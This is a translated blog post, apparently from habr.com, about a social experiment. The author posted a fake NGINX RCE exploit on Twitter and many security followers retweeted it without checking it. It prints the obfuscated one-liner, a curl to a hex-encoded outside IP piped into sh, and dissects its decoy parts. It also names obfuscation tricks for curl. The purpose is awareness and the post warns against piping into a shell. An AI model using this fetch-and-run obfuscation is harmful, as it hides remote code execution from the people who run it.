Sucesso de um experimento social com uma exploração falsa do nginx

Observação. trad.: autor a nota original, publicada em 1º de junho, decidiu realizar um experimento entre interessados ​​em segurança da informação. Para fazer isso, ele preparou um exploit falso para uma vulnerabilidade não revelada no servidor web e postou em seu Twitter. Suas suposições - a serem expostas instantaneamente por especialistas que veriam o engano óbvio no código - não apenas não se concretizaram... Elas superaram todas as expectativas, e na direção oposta: o tweet recebeu enorme apoio de inúmeras pessoas que não o fizeram. verifique seu conteúdo.

DR: Não use pipelining de arquivos em sh ou bash sob nenhuma circunstância. Esta é uma ótima maneira de perder o controle do seu computador.

Quero compartilhar com vocês uma pequena história sobre uma exploração de PoC em quadrinhos que foi criada em 31 de maio. Ele apareceu prontamente em resposta às notícias de Alisa Esage Shevchenko, membro Iniciativa Zero Day (ZDI), que informações sobre uma vulnerabilidade no NGINX que leva ao RCE (execução remota de código) serão divulgadas em breve. Como o NGINX alimenta muitos sites, a notícia deve ter sido uma bomba. Mas devido a atrasos no processo de “divulgação responsável”, os detalhes do que aconteceu não eram conhecidos – este é o procedimento padrão da ZDI.

Tweet sobre divulgação de vulnerabilidade no NGINX

Depois de terminar de trabalhar em uma nova técnica de ofuscação em curl, citei o tweet original e “vazei um PoC funcional” que consiste em uma única linha de código que supostamente explora a vulnerabilidade descoberta. Claro, isso era um absurdo completo. Presumi que seria imediatamente exposto e que, na melhor das hipóteses, receberia alguns retuítes (tudo bem).

Tweet com exploração falsa

No entanto, não conseguia imaginar o que aconteceu a seguir. A popularidade do meu tweet disparou. Surpreendentemente, no momento (15h, horário de Moscou, 00º de junho), poucas pessoas perceberam que isso é uma farsa. Muitas pessoas retweetam sem verificá-lo (e muito menos admirar os lindos gráficos ASCII que ele gera).

Olha só como é lindo!

Embora todos esses loops e cores sejam ótimos, está claro que as pessoas tiveram que executar código em suas máquinas para vê-los. Felizmente, os navegadores funcionam da mesma maneira e, combinado com o fato de que eu realmente não queria ter problemas legais, o código enterrado no meu site estava apenas fazendo chamadas de eco sem tentar instalar ou executar qualquer código adicional.

Uma pequena digressão: netassustador, DNZ, eu e os outros caras da equipe Multidão de bandidos Já faz algum tempo que brincamos com diferentes maneiras de ofuscar comandos curl porque é legal... e somos geeks. netspooky e dnz descobriram vários métodos novos que me pareceram extremamente promissores. Entrei na diversão e tentei adicionar conversões decimais de IP ao pacote de truques. Acontece que o IP também pode ser convertido para o formato hexadecimal. Além disso, curl e a maioria das outras ferramentas NIX comem IPs hexadecimais com prazer! Portanto, foi apenas uma questão de criar uma linha de comando convincente e com aparência segura. No final das contas, decidi por este:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

A engenharia socioeletrônica (SEE) é mais do que apenas phishing

Segurança e familiaridade foram uma parte importante deste experimento. Acho que foram eles que levaram ao seu sucesso. A linha de comando implicava claramente segurança ao referir-se a "127.0.0.1" (o conhecido localhost). Localhost é considerado seguro e os dados nele contidos nunca saem do seu computador.

A familiaridade foi o segundo componente chave do SEE do experimento. Como o público-alvo consistia principalmente de pessoas familiarizadas com os fundamentos da segurança informática, era importante criar código para que partes dele parecessem familiares e familiares (e, portanto, seguras). Pegar emprestado elementos de antigos conceitos de exploração e combiná-los de uma forma incomum provou ser muito bem-sucedido.

Abaixo está uma análise detalhada do one-liner. Tudo nesta lista usa natureza cosmética, e praticamente nada é necessário para seu funcionamento real.

Quais componentes são realmente necessários? Esse -gsS, -O 0x0238f06a, |sh e o próprio servidor web. O servidor web não continha nenhuma instrução maliciosa, mas simplesmente servia gráficos ASCII usando comandos echo no roteiro contido em index.html. Quando o usuário digitou uma linha com |sh No meio, index.html carregado e executado. Felizmente, os guardiões do servidor web não tinham más intenções.

• ../../../%00 — representa ir além do diretório;
• ngx_stream_module.so — caminho para um módulo NGINX aleatório;
• /bin/sh%00<'protocol:TCP' - supostamente estamos lançando /bin/sh na máquina de destino e redirecionar a saída para o canal TCP;
• -O 0x0238f06a#PLToffset - ingrediente secreto, complementado #PLToffset, para parecer um deslocamento de memória contido de alguma forma no PLT;
• |sh; - outro fragmento importante. Precisávamos redirecionar a saída para sh/bash para executar o código vindo do servidor web atacante localizado em 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - um manequim ao qual netcat se refere /dev/tcp/localhostpara que tudo pareça seguro novamente. Na verdade, não faz nada e está incluído na linha de beleza.

Isto conclui a decodificação do script de uma linha e a discussão dos aspectos da “engenharia sócio-eletrônica” (phishing intricado).

Configuração e contramedidas do servidor Web

Como a grande maioria dos meus assinantes são infosec/hackers, decidi tornar o servidor web um pouco mais resistente a expressões de “interesse” da parte deles, apenas para que os caras tivessem algo para fazer (e seria divertido configurar). Não vou listar todas as armadilhas aqui, pois o experimento ainda está em andamento, mas aqui estão algumas coisas que o servidor faz:

• Monitora ativamente as tentativas de distribuição em determinadas redes sociais e substitui várias miniaturas de visualização para incentivar o usuário a clicar no link.
• Redireciona Chrome/Mozilla/Safari/etc para o vídeo promocional do Thugcrowd em vez de mostrar o script de shell.
• Observa sinais ÓBVIOS de intrusão/hacking flagrante e então começa a redirecionar solicitações para servidores da NSA (ha!).
• Instala um Trojan, bem como um rootkit de BIOS, em todos os computadores cujos usuários visitam o host a partir de um navegador normal (brincadeirinha!).

Uma pequena parte dos antímeros

Nesse caso, meu único objetivo era dominar alguns recursos do Apache - em especial, as regras bacanas para redirecionamento de solicitações - e pensei: por que não?

Exploração NGINX (real!)

Inscrever-se para @alisaesage no Twitter e acompanhe o excelente trabalho da ZDI ao abordar vulnerabilidades muito reais e explorar oportunidades no NGINX. O trabalho deles sempre me fascinou e sou grato a Alice pela paciência com todas as menções e notificações que meu estúpido tweet causou. Felizmente, também fez algo de bom: ajudou a aumentar a conscientização sobre as vulnerabilidades do NGINX, bem como sobre os problemas causados ​​pelo abuso do curl.

Fonte: habr.com